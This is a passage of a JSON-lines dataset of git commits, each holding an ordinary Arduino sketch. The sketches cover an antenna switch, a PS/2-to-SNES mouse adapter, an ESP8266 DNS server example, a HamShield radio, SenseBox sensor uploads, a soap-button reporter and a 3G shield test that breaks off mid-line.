\/\/ output the value of each analog input pin\n String selected_antennas;\n for (int dio = 2; dio < 10; dio++) {\n int dioReading = digitalRead(dio);\n if (dioReading == 1) {\n selected_antennas+=\",\";\n selected_antennas+=(dio-1);\n }\n }\n if (selected_antennas != \"\") {\n client.print(selected_antennas.substring(1));\n } else {\n client.print(\"g\");\n }\n client.println(\"\");\n break;\n }\n if (c == '\\n') {\n \/\/ you're starting a new line\n currentLineIsBlank = true;\n } else if (c != '\\r') {\n \/\/ you've gotten a character on the current line\n currentLineIsBlank = false;\n }\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n \/\/ close the connection:\n client.stop();\n \/\/Serial.println(\"client disconnected\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'docs\/arduino-nano-netshield\/ant_switch_arduino_netshield.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b7f804414cdebd2fb73adc7dc6ac96282ef7b17","subject":"Added Examples and fixed Name to match spark.json","message":"Added Examples and fixed Name to match spark.json\n","repos":"bennygnar\/Spark_Adafruit_GFX_Lib,bennygnar\/Spark_Adafruit_GFX_Lib","old_file":"firmware\/examples\/example_use_case.ino","new_file":"firmware\/examples\/example_use_case.ino","new_contents":"\/\/ TODO write code that illustrates the best parts of what your library can do\n\nvoid setup {\n\n}\n\n\nvoid loop {\n\n}\n\nEOS\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/example_use_case.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9331eb639c0e4bc875b54fc846425a2df40619c9","subject":"button to push WiFi configuration on startup","message":"button to push WiFi configuration on startup\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"18d650c59e867406612d2a309db69127b2629cd7","subject":"Copied over files from PS2toSNES and renamed them","message":"Copied over files from PS2toSNES and renamed them\n","repos":"cooprocks123e\/pc2snes,cooprocks123e\/pc2snes","old_file":"pc2snes\/pc2snes.ino","new_file":"pc2snes\/pc2snes.ino","new_contents":"#include <ps2.h>\n\n#define P_DATA 2\n#define P_CLOCK 3\n\n\/\/ pins 8-12\n#define S_DATA 8\n#define S_LATCH 9\n#define S_CLOCK 10\n\n#define REVERSE_BUTTONS\n#define LED\n\n\n\n#define checkLatch (PINB&(1<<(S_LATCH-8)))\n#define checkClock (PINB&(1<<(S_CLOCK-8)))\ninline void writeData(byte x){ if(x) PORTB|=(1<<(S_DATA-8)); else PORTB&=~(1<<(S_DATA-8)); }\n\ninline byte reverse(byte b) { \/\/ thanks \"sth\" from StackOverflow\n b = (b & 0xF0) >> 4 | (b & 0x0F) << 4;\n b = (b & 0xCC) >> 2 | (b & 0x33) << 2;\n b = (b & 0xAA) >> 1 | (b & 0x55) << 1;\n return b;\n}\n\nbyte mdata[3];\nbyte output[2];\nbyte bitout[32];\nbyte i;\nsigned char x,y;\n#ifdef LED\nbyte led;\n#endif\n\nPS2 mouse(P_CLOCK, P_DATA);\nvoid mouse_init()\n{\n mouse.write(0xff); \/\/ reset\n mouse.read();\n mouse.read();\n mouse.read();\n \/* \/\/ wheel mouse mode\n \n mouse.write(0xf3); \/\/ sample rate\n mouse.read(); \/\/ ack\n mouse.write(0xc8); \/\/ sample rate\n mouse.read(); \/\/ ack\n \n mouse.write(0xf3); \/\/ sample rate\n mouse.read(); \/\/ ack\n mouse.write(0x64); \/\/ sample rate\n mouse.read(); \/\/ ack\n \n mouse.write(0xf3); \/\/ sample rate\n mouse.read(); \/\/ ack\n mouse.write(0x50); \/\/ sample rate\n mouse.read(); \/\/ ack\n \n mouse.write(0xf2); \/\/ get mouse id\n mouse.read(); \/\/ ack\n mouse.read(); \/\/ mouse id (we would care about this if we actually scrolled)*\/\n \n delayMicroseconds(100);\n}\nvoid mouse_update()\n{\n mouse.write(0xeb);\n mouse.read();\n mdata[0] = mouse.read();\n mdata[1] = mouse.read();\n mdata[2] = mouse.read();\n}\n\nvoid setup() {\n mouse_init();\n pinMode(S_DATA,OUTPUT);\n pinMode(S_LATCH,INPUT_PULLUP);\n pinMode(S_CLOCK,INPUT_PULLUP);\n digitalWrite(S_DATA,LOW);\n \n #ifdef LED\n led=0;\n pinMode(13,OUTPUT);\n #endif\n \n for(i=0;i<16;i++){\n bitout[i]=1;\n }\n}\n\nvoid loop() {\n mouse_update();\n \n x=(signed char)mdata[1];\n y=(signed char)mdata[2];\n output[0]=reverse(~((min(abs(y),0x7f))|((y<0)?0x00:0x80))); \/\/y\n output[1]=reverse(~((min(abs(x),0x7f))|((x<0)?0x80:0x00))); \/\/x\n for(i=16;i<32;i++){\n bitout[i]=output[(i>>3)&1]&(1<<(i&7));\n }\n \n #ifdef REVERSE_BUTTONS\n bitout[8]=mdata[0]&0x01?0:1;\n bitout[9]=mdata[0]&0x02?0:1;\n #else\n bitout[8]=mdata[0]&0x02?0:1;\n bitout[9]=mdata[0]&0x01?0:1;\n #endif\n \n bitout[15]=0;\n i=0;\n \n #ifdef LED\n if (led) {\n led=0;PORTB&=~(1<<(13-8));\n } else {\n led=1;PORTB|=1<<(13-8);\n }\n #endif\n \n noInterrupts();\n while(!checkLatch);\n writeData(1);\n while(checkLatch);\n for(;i<32;i++){\n writeData(bitout[i]);\n while(checkClock); \/\/wait for falling\n while(!checkClock); \/\/wait for rising\n }\n interrupts();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pc2snes\/pc2snes.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ad73d49f55f269430103dbb6c008770bbc7479f6","subject":"Added simple HTTP server to DNSServer example","message":"Added simple HTTP server to DNSServer example\n","repos":"sanyaade-iot\/Arduino-1,EmuxEvans\/Arduino,jomolinare\/Arduino,leftbrainstrain\/Arduino-ESP8266,shiitakeo\/Arduino,myrtleTree33\/Arduino,aichi\/Arduino-2,paulo-raca\/ESP8266-Arduino,spapadim\/Arduino,tannewt\/Arduino,zenmanenergy\/Arduino,sanyaade-iot\/Arduino-1,koltegirish\/Arduino,adafruit\/ESP8266-Arduino,drpjk\/Arduino,paulo-raca\/ESP8266-Arduino,ogahara\/Arduino,nkolban\/Arduino,weera00\/Arduino,mattvenn\/Arduino,spapadim\/Arduino,smily77\/Arduino,danielchalef\/Arduino,mateuszdw\/Arduino,gonium\/Arduino,weera00\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,Cloudino\/Arduino,fungxu\/Arduino,ssvs111\/Arduino,myrtleTree33\/Arduino,Protoneer\/Arduino,mangelajo\/Arduino,fungxu\/Arduino,ssvs111\/Arduino,leftbrainstrain\/Arduino-ESP8266,myrtleTree33\/Arduino,Protoneer\/Arduino,shiitakeo\/Arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,jomolinare\/Arduino,danielchalef\/Arduino,noahchense\/Arduino-1,ogahara\/Arduino,koltegirish\/Arduino,shiitakeo\/Arduino,adafruit\/ESP8266-Arduino,weera00\/Arduino,paulmand3l\/Arduino,radut\/Arduino,leftbrainstrain\/Arduino-ESP8266,ssvs111\/Arduino,NeuralSpaz\/Arduino,Cloudino\/Cloudino-Arduino-IDE,mattvenn\/Arduino,gonium\/Arduino,mangelajo\/Arduino,tannewt\/Arduino,Cloudino\/Arduino,NeuralSpaz\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,Cloudino\/Arduino,sanyaade-iot\/Arduino-1,Protoneer\/Arduino,ogahara\/Arduino,shiitakeo\/Arduino,smily77\/Arduino,jomolinare\/Arduino,zenmanenergy\/Arduino,raimohanska\/Arduino,Cloudino\/Arduino,nkolban\/Arduino,fungxu\/Arduino,Alfredynho\/AgroSis,fungxu\/Arduino,Cloudino\/Cloudino-Arduino-IDE,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,koltegirish\/Arduino,mangelajo\/Arduino,smily77\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,raimohanska\/Arduino,NeuralSpaz\/Arduino,Protoneer\/Arduino,eeijcea\/Arduino-1,weera00\/Arduino,raimohanska\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,Alfredynho\/AgroSis,spapadim\/Arduino,NeuralSpaz\/Arduino,paulmand3l\/Arduino,raimohanska\/Arduino,danielchalef\/Arduino,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,spapadim\/Arduino,noahchense\/Arduino-1,fungxu\/Arduino,mateuszdw\/Arduino,zenmanenergy\/Arduino,paulmand3l\/Arduino,mateuszdw\/Arduino,aichi\/Arduino-2,radut\/Arduino,jomolinare\/Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,jomolinare\/Arduino,smily77\/Arduino,mattvenn\/Arduino,mateuszdw\/Arduino,smily77\/Arduino,eeijcea\/Arduino-1,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,EmuxEvans\/Arduino,Alfredynho\/AgroSis,eeijcea\/Arduino-1,koltegirish\/Arduino,smily77\/Arduino,radut\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,sanyaade-iot\/Arduino-1,paulmand3l\/Arduino,paulmand3l\/Arduino,drpjk\/Arduino,ssvs111\/Arduino,nkolban\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,paulo-raca\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,shiitakeo\/Arduino,drpjk\/Arduino,leftbrainstrain\/Arduino-ESP8266,mangelajo\/Arduino,EmuxEvans\/Arduino,jomolinare\/Arduino,Cloudino\/Arduino,Protoneer\/Arduino,ssvs111\/Arduino,raimohanska\/Arduino,EmuxEvans\/Arduino,drpjk\/Arduino,wdoganowski\/Arduino,fungxu\/Arduino,smily77\/Arduino,paulmand3l\/Arduino,drpjk\/Arduino,tannewt\/Arduino,mangelajo\/Arduino,eeijcea\/Arduino-1,Protoneer\/Arduino,koltegirish\/Arduino,aichi\/Arduino-2,zenmanenergy\/Arduino,radut\/Arduino,drpjk\/Arduino,Cloudino\/Cloudino-Arduino-IDE,EmuxEvans\/Arduino,nkolban\/Arduino,NeuralSpaz\/Arduino,spapadim\/Arduino,sanyaade-iot\/Arduino-1,mattvenn\/Arduino,ogahara\/Arduino,jomolinare\/Arduino,mattvenn\/Arduino,ogahara\/Arduino,gonium\/Arduino,ogahara\/Arduino,paulo-raca\/ESP8266-Arduino,spapadim\/Arduino,drpjk\/Arduino,sanyaade-iot\/Arduino-1,ssvs111\/Arduino,gonium\/Arduino,gonium\/Arduino,Cloudino\/Arduino,noahchense\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,radut\/Arduino,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,sanyaade-iot\/Arduino-1,zenmanenergy\/Arduino,danielchalef\/Arduino,radut\/Arduino,EmuxEvans\/Arduino,wdoganowski\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Alfredynho\/AgroSis,Cloudino\/Cloudino-Arduino-IDE,noahchense\/Arduino-1,spapadim\/Arduino,danielchalef\/Arduino,eeijcea\/Arduino-1,nkolban\/Arduino,koltegirish\/Arduino,gonium\/Arduino,tannewt\/Arduino,nkolban\/Arduino,radut\/Arduino,mangelajo\/Arduino,Alfredynho\/AgroSis,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,ssvs111\/Arduino,wdoganowski\/Arduino,weera00\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,aichi\/Arduino-2,leftbrainstrain\/Arduino-ESP8266,ogahara\/Arduino,Protoneer\/Arduino,adafruit\/ESP8266-Arduino,aichi\/Arduino-2,wdoganowski\/Arduino,nkolban\/Arduino,raimohanska\/Arduino,eeijcea\/Arduino-1,weera00\/Arduino,mateuszdw\/Arduino,gonium\/Arduino,EmuxEvans\/Arduino,noahchense\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Arduino,shiitakeo\/Arduino,wdoganowski\/Arduino,zenmanenergy\/Arduino,danielchalef\/Arduino,raimohanska\/Arduino,koltegirish\/Arduino,mattvenn\/Arduino,weera00\/Arduino,mangelajo\/Arduino,aichi\/Arduino-2,paulmand3l\/Arduino,NeuralSpaz\/Arduino,fungxu\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/DNSServer\/examples\/DNSServer\/DNSServer.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/DNSServer\/examples\/DNSServer\/DNSServer.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n\nconst byte DNS_PORT = 53;\nIPAddress apIP(192, 168, 1, 1);\nDNSServer dnsServer;\nESP8266WebServer webServer(80);\n\nvoid setup() {\n WiFi.mode(WIFI_AP);\n WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));\n WiFi.softAP(\"DNSServer example\");\n\n \/\/ modify TTL associated with the domain name (in seconds)\n \/\/ default is 60 seconds\n dnsServer.setTTL(300);\n \/\/ set which return code will be used for all other domains (e.g. sending\n \/\/ ServerFailure instead of NonExistentDomain will reduce number of queries\n \/\/ sent by clients)\n \/\/ default is DNSReplyCode::NonExistentDomain\n dnsServer.setErrorReplyCode(DNSReplyCode::ServerFailure);\n\n \/\/start DNS server for a specific domain name\n dnsServer.start(DNS_PORT, \"www.example.com\", apIP);\n\n \/\/simple HTTP server to see that DNS server is working\n webServer.onNotFound([]() {\n String message = \"Hello World!\\n\\n\";\n message += \"URI: \";\n message += webServer.uri();\n\n webServer.send(200, \"text\/plain\", message);\n });\n webServer.begin();\n}\n\nvoid loop() {\n dnsServer.processNextRequest();\n webServer.handleClient();\n}\n","old_contents":"#include <ESP8266WiFi.h>\n#include <DNSServer.h>\n\nconst byte DNS_PORT = 53;\nIPAddress apIP(192, 168, 1, 1);\nDNSServer dnsServer;\n\nvoid setup() {\n WiFi.mode(WIFI_AP);\n WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));\n WiFi.softAP(\"DNSServer example\");\n\n \/\/ modify TTL associated with the domain name (in seconds)\n \/\/ default is 60 seconds\n dnsServer.setTTL(300);\n \/\/ set which return code will be used for all other domains (e.g. sending\n \/\/ ServerFailure instead of NonExistentDomain will reduce number of queries\n \/\/ sent by clients)\n \/\/ default is DNSReplyCode::NonExistentDomain\n dnsServer.setErrorReplyCode(DNSReplyCode::ServerFailure);\n\n \/\/start DNS server for a specific domain name\n dnsServer.start(DNS_PORT, \"www.example.com\", apIP);\n}\n\nvoid loop() {\n dnsServer.processNextRequest();\n}\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"edc78a3858c3a8239eb047bd977f2384628c6111","subject":"adding HandyTalkie example","message":"adding HandyTalkie example\n","repos":"EnhancedRadioDevices\/HamShield,EnhancedRadioDevices\/HamShield","old_file":"examples\/HandyTalkie\/HandyTalkie.ino","new_file":"examples\/HandyTalkie\/HandyTalkie.ino","new_contents":"\/\/ Hamshield \n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#include \"Wire.h\"\n\n#include <HamShield.h>\n\n\/\/ create object for radio\nHamShield radio;\n\n#define LED_PIN 13\n#define RSSI_REPORT_RATE_MS 5000\n\n\/\/TODO: move these into library\n#define PWM_PIN 3\n#define RESET_PIN A3\n#define SWITCH_PIN 2\n\nbool blinkState = false;\nbool currently_tx;\n\nuint32_t freq;\n\nunsigned long rssi_timeout;\n\nvoid setup() {\n \/\/ NOTE: if not using PWM out, it should be held low to avoid tx noise\n pinMode(PWM_PIN, OUTPUT);\n digitalWrite(PWM_PIN, LOW);\n \n \/\/ prep the switch\n pinMode(SWITCH_PIN, INPUT_PULLUP);\n \n \/\/ set up the reset control pin\n pinMode(RESET_PIN, OUTPUT);\n digitalWrite(RESET_PIN, LOW);\n \n \n \/\/ initialize serial communication\n Serial.begin(115200);\n Serial.println(\"press the swich to begin...\");\n \n while (digitalRead(SWITCH_PIN));\n \n \/\/ let the AU ot of reset\n digitalWrite(RESET_PIN, HIGH);\n \n Serial.println(\"beginning radio setup\");\n \n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n Wire.begin();\n\n \/\/ verify connection\n Serial.println(\"Testing device connections...\");\n Serial.println(radio.testConnection() ? \"RDA radio connection successful\" : \"RDA radio connection failed\");\n\n \/\/ initialize device\n Serial.println(\"Initializing I2C devices...\");\n radio.initialize(); \/\/ initializes automatically for UHF 12.5kHz channel\n\n Serial.println(\"setting default Radio configuration\");\n radio.dangerMode();\n\n \/\/ set frequency\n Serial.println(\"changing frequency\");\n \n radio.setSQOff();\n freq = 450000;\n radio.frequency(freq);\n \n \/\/ set to receive\n \n radio.setModeReceive();\n currently_tx = false;\n Serial.print(\"config register is: \");\n Serial.println(radio.readCtlReg());\n Serial.println(radio.readRSSI());\n \n\/*\n \/\/ set to transmit\n radio.setModeTransmit();\n \/\/ maybe set PA bias voltage\n Serial.println(\"configured for transmit\");\n radio.setTxSourceMic();\n \n \n *\/ \n radio.setRfPower(0);\n \n \/\/ configure Arduino LED for\n pinMode(LED_PIN, OUTPUT);\n rssi_timeout = 0;\n\n}\n\nvoid loop() { \n if (!digitalRead(SWITCH_PIN))\n {\n if (!currently_tx) \n {\n currently_tx = true;\n \n \/\/ set to transmit\n radio.setModeTransmit();\n Serial.println(\"Tx\");\n \/\/radio.setTxSourceMic();\n \/\/radio.setRfPower(1);\n }\n } else if (currently_tx) {\n radio.setModeReceive();\n currently_tx = false;\n Serial.println(\"Rx\");\n }\n \n \n if (Serial.available()) {\n Serial.setTimeout(40);\n freq = Serial.parseInt();\n Serial.flush();\n radio.frequency(freq);\n Serial.print(\"set frequency: \");\n Serial.println(freq);\n }\n \n if (!currently_tx && (millis() - rssi_timeout) > RSSI_REPORT_RATE_MS)\n {\n Serial.println(radio.readRSSI());\n rssi_timeout = millis();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HandyTalkie\/HandyTalkie.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1811e314aebccbc884c10061be867c2e990c9785","subject":"Create template_basic.ino","message":"Create template_basic.ino","repos":"mpfeil\/OpenSenseMap-API,mpfeil\/OpenSenseMap-API,sensebox\/OpenSenseMap-API,sensebox\/OpenSenseMap-API","old_file":"files\/template_basic\/template_basic.ino","new_file":"files\/template_basic\/template_basic.ino","new_contents":"\/*\nSenseBox Citizen Sensingplatform\nVersion: 1.2\nDate: 2015-02-02\nHomepage: http:\/\/www.sensebox.de\nAuthor: Jan Wirwahn, Institute for Geoinformatics, University of Muenster\nNote: Sketch for SB-Home Edition 2015\n*\/\n\n#include <Wire.h>\n#include <SPI.h>\n#include <EthernetV2_0.h>\n#include <DHT.h>\n#include <Barometer.h>\n#include <Digital_Light_TSL2561.h>\n#include <avr\/wdt.h>\n\n\/\/IDs are being generated by the OSM server\n\/\/If you want to update your old sketch, insert the IDs from your old file\n\/\/SenseBox ID\n\n\/\/Sensor IDs\n\n\/\/Sensor pin settings\n#define NOISEPIN A0\n#define DHTPIN A1\n#define DHTTYPE DHT11\n\/\/Ethernet shield settings\n#define W5200_CS 10\n#define SDCARD_CS 4\n\n\/\/Network settings\nIPAddress ip(192,168,0,111);\/\/If DHCP is disabled, specify an IP according to your network settings\nbyte mac[] = { 0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02 };\nchar server[] = \"opensensemap.org\";\nEthernetClient client;\n\nString currentSensorId = TEMPERATURESENSOR_ID;\nfloat temperature, humidity, pressure;\nunsigned long lux;\nint analogNoise;\n\nDHT dht(DHTPIN, DHTTYPE);\nBarometer barometer;\n\n\/\/Variables for time sync and upload intervall\nconst unsigned long postingInterval = 10*1000*60; \/\/1 minute\nunsigned long lastConnectionTime = 0;\nboolean lastConnected = false;\nboolean uploadSuccess = true;\nString sensorSample;\nint sampleType = 1; \nint phenomenonCount = 5; \/\/1=temp,2=humi,3=baro,4=noise,5=lux\n\nvoid setup(){\n Wire.begin();\n Serial.begin(9600);\n \/\/Setup chip select and deselect the SD card\n pinMode(SDCARD_CS,OUTPUT);\n digitalWrite(SDCARD_CS,HIGH);\n delay(500);\n \/\/ start the Ethernet connection \n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP.\");\n \/\/If DHCP is disabled, use static IP\n Ethernet.begin(mac, ip);\n }else Serial.println(\"DHCP setup successful.\");\n \/\/Print the IP to serial port\n Serial.print(\"My IP address: \");\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n \/\/ print the value of each byte of the IP address:\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\"); \n }\n Serial.println(\"STARTING UP\");\n barometer.init();\n dht.begin();\n TSL2561.init();\n}\n\nvoid loop(){\n \/\/ if there's incoming data from the net connection.\n \/\/ send it out the serial port. This is for debugging purposes only\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n \/\/ if there's no net connection, but there was one last time\n \/\/ through the loop, then stop the client:\n if (!client.connected() && lastConnected) {\n Serial.println();\n Serial.println();\n Serial.println(\"STARTING UP\");\n client.stop();\n } \n \/\/If last upload was successful, switch case to select the next sensor\n if (uploadSuccess){\n Serial.println();\n delay(1000);\n sensorSample = \"\";\n switch (sampleType)\n {\n case 1:\n \/\/temperature = dht.readTemperature();\n temperature = barometer.bmp085GetTemperature(barometer.bmp085ReadUT());\n sensorSample = floatToString(temperature,1);\n currentSensorId = TEMPERATURESENSOR_ID;\n break;\n case 2:\n humidity = dht.readHumidity();\n sensorSample = floatToString(humidity,0);\n currentSensorId = HUMIDITYSENSOR_ID;\/\/bmp085ReadUT MUST be called first\n break;\n case 3:\n pressure = barometer.bmp085GetTemperature(barometer.bmp085ReadUT());\n pressure = barometer.bmp085GetPressure(barometer.bmp085ReadUP());\n sensorSample = floatToString(pressure,0);\n currentSensorId = PRESSURESENSOR_ID;\n break;\n case 4:\n analogNoise = analogRead(NOISEPIN);\n sensorSample = (String)analogNoise;\n currentSensorId = NOISESENSOR_ID;\n break;\n case 5:\n TSL2561.getLux();\n lux = TSL2561.calculateLux(0,0,1);\n sensorSample = (String)lux;\n currentSensorId = LUXSENSOR_ID;\n break;\n }\n }\n \/\/ if you're not already connected, and 60 seconds have passed since\n \/\/ your last connection, then connect again and send data: \n uploadSuccess = false;\n if(!client.connected() && (millis() - lastConnectionTime > postingInterval)) {\n Serial.println(\"-----------------------------------\");\n Serial.print(\"Connecting and posting sensor sample (case \");\n Serial.print(sampleType);\n Serial.print(\")...\");\n Serial.println(); \n postObservation(sensorSample, currentSensorId, SENSEBOX_ID);\n }\n \/\/ store the state of the connection for next time through the loop\n lastConnected = client.connected();\n}\n\nString floatToString(float number, int precision)\n{\n String stringNumber = \"\";\n \/\/int prec;\n \/\/only temperature (case 1) has a decimal place\n \/\/if (sampleType == 1) prec = 1; else prec = 0;\n char tempChar[10];\n dtostrf(number, 3, precision, tempChar);\n stringNumber += tempChar;\n return stringNumber;\n}\n\n\/\/Method for posting a measurement to OSM server\nvoid postObservation(String measurement, String sensorId, String boxId)\n{ \n \/\/if (measurement==\"\") return;\n wdt_enable(WDTO_8S);\n \/\/json must look like {\"value\":\"12.5\"} \n String valueJson = \"{\\\"value\\\":\"; \n valueJson += measurement; \n valueJson += \"}\";\n Serial.println(valueJson);\n \/\/post observation to: http:\/\/opensensemap.org:8000\/boxes\/boxId\/sensorId\n \/\/ if you get a connection, report back via serial: \n wdt_reset();\n if (client.connect(server, 8000)) \n {\n Serial.print(\"connected...\"); \n Serial.println();\n \/\/ Make a HTTP Post request: \n client.print(\"POST \/boxes\/\"); \n client.print(boxId);\n client.print(\"\/\"); \n client.print(sensorId); \n client.println(\" HTTP\/1.1\"); \n \/\/ Send the required header parameters \n client.println(\"Host:opensensemap.org\"); \n client.println(\"Content-Type: application\/json\"); \n client.println(\"Connection: close\"); \n client.print(\"Content-Length: \"); \n client.println(valueJson.length()); \n client.println(); \n client.print(valueJson); \n client.println(); \n Serial.println(\"done!\");\n uploadSuccess = true;\n \/\/Change case\n if (sampleType == phenomenonCount) {\n sampleType = 1;\n \/\/ remember the time that the connection was made or attempted\n lastConnectionTime = millis();\n }else sampleType++;\n }else \n {\n \/\/ stop the client if you couldn't make a connection !\n Serial.println(\"failed...disconnecting.\");\n client.stop();\n }\n wdt_disable();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'files\/template_basic\/template_basic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09b8efcc572f531377be6e444aefdbe3286a974e","subject":"add germ buster use case","message":"add germ buster use case\n","repos":"jgarnier\/iot-corner,jgarnier\/iot-corner,jgarnier\/iot-corner","old_file":"use_cases\/germ_buster\/soap.ino","new_file":"use_cases\/germ_buster\/soap.ino","new_contents":"#include <Process.h>\n\/\/ constants won't change. They're used here to\n\/\/ set pin numbers:\nconst int buttonPin = 2; \/\/ the number of the pushbutton pin\nconst int ledPin = 13; \/\/ the number of the LED pin\n\n\/\/ variables will change:\nint buttonState = 0; \/\/ variable for reading the pushbutton status\nint oneClick = 0;\n\nvoid setup() {\n\n \/\/ Bridge takes about two seconds to start up\n \/\/ it can be helpful to use the on-board LED\n \/\/ as an indicator for when it has initialized\n pinMode(13, OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n SerialUSB.begin(9600);\n\n while (!SerialUSB); \/\/ wait for a serial connection\n}\n\nvoid runCurl(String value){\n Process p;\n p.runShellCommand(\"curl -X POST -H \\\"X-Device-Secret: 12345\\\" \\\"http:\/\/54.246.192.181:8080\/report?key=restroom_1\" + value+\"\\\" \");\n while (p.available() > 0) {\n char c = p.read();\n SerialUSB.print(c);\n }\n \/\/ Ensure the last bit of data is sent.\n SerialUSB.flush();\n}\n\nvoid loop() {\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n\n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the buttonState is HIGH:\n if (buttonState == HIGH) {\n \/\/ turn LED on:\n digitalWrite(ledPin, HIGH);\n if(oneClick == 0){\n SerialUSB.print(\"Soap 1 pressed\\n\");\n runCurl(\"&label=soap_1&value=1\");\n SerialUSB.print(\"http sent\");\n oneClick = 1;\n }\n } else {\n \/\/ turn LED off:\n digitalWrite(ledPin, LOW);\n if(oneClick == 1 ){\n SerialUSB.print(\"end soap\\n\");\n oneClick=0;\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'use_cases\/germ_buster\/soap.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b6fe89929d894346ae1d6870102270e895e9dd56","subject":"add final test 3g arduino code","message":"add final test 3g arduino code\n","repos":"Etiene\/BMONS,Etiene\/BMONS,Etiene\/BMONS,Etiene\/BMONS","old_file":"hardware\/Arduino_Code\/test_3g_final\/test_3g.ino","new_file":"hardware\/Arduino_Code\/test_3g_final\/test_3g.ino","new_contents":"\/* \n * 3G + GPS shield\n * \n * Copyright (C) Libelium Comunicaciones Distribuidas S.L. \n * http:\/\/www.libelium.com \n * \n * This program is free software: you can redistribute it and\/or modify \n * it under the terms of the GNU General Public License as published by \n * the Free Software Foundation, either version 3 of the License, or \n * (at your option) any later version. \n * a\n * This program is distributed in the hope that it will be useful, \n * but WITHOUT ANY WARRANTY; without even the implied warranty of \n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License \n * along with this program. If not, see http:\/\/www.gnu.org\/licenses\/. \n * \n * Version: 2.0\n * Design: David Gasc\u00f3n \n * Implementation: Alejandro Gallego & Victor Boria\n *\/\n\n\/\/Change here your data\nconst char pin_number[] = \"1234\";\nconst char apn[] = \"*********\";\nconst char user_name[] = \"*********\";\nconst char password[] = \"*********\";\n\nchar url[ ]=\"haggis.ensta-bretagne.fr\";\nint port= 3000;\nchar post[ ] =\"{\\\"sensor_id\\\":\\\"1\\\",\\\"value\\\":\\\"58\\\",\\\"datetime\\\":\\\"2015-06-01 23:56:52\\\"}\\r\\n\\r\\n\";\nString postdata=post;\nchar request_first[ ]=\"POST \/measurements HTTP\/1.1\\r\\nHost: haggis.ensta-bretagne.fr\\r\\nContent-Type: application\/json\\r\\nContent-Length: 63\\r\\n\\r\\n\";\nchar request[500];\n\n\n\/\/sprintf(postHeader2,\"%s%d\\r\\n\\r\\n\",postLen,postdata.length());\n\/\/sprintf(postHeader,\"%s%s\",postHeader1,postHeader2);\n\/\/sprintf(request, \"%s%s\", postHeader,postdata);\n\nint8_t answer;\nint onModulePin = 2, aux;\nint data_size = 0;\nint end_file = 0;\nchar aux_str[50];\nchar data[400];\nint http_x;\nint http_status; \/\/ 0: end, 1 waiting data with header, 2 waiting data without header, 3 timeout waiting data, 4 unknow response\nint x = 0;\nlong previous;\n\nvoid setup(){\n pinMode(onModulePin, OUTPUT);\n Serial.begin(115200);\n sprintf( request,\"%s%s\",request_first, post);\n Serial.println(\"Starting...\");\n power_on();\n\n delay(3000);\n\n \/\/sets the PIN code\n sprintf(aux_str, \"AT+CPIN=%s\", 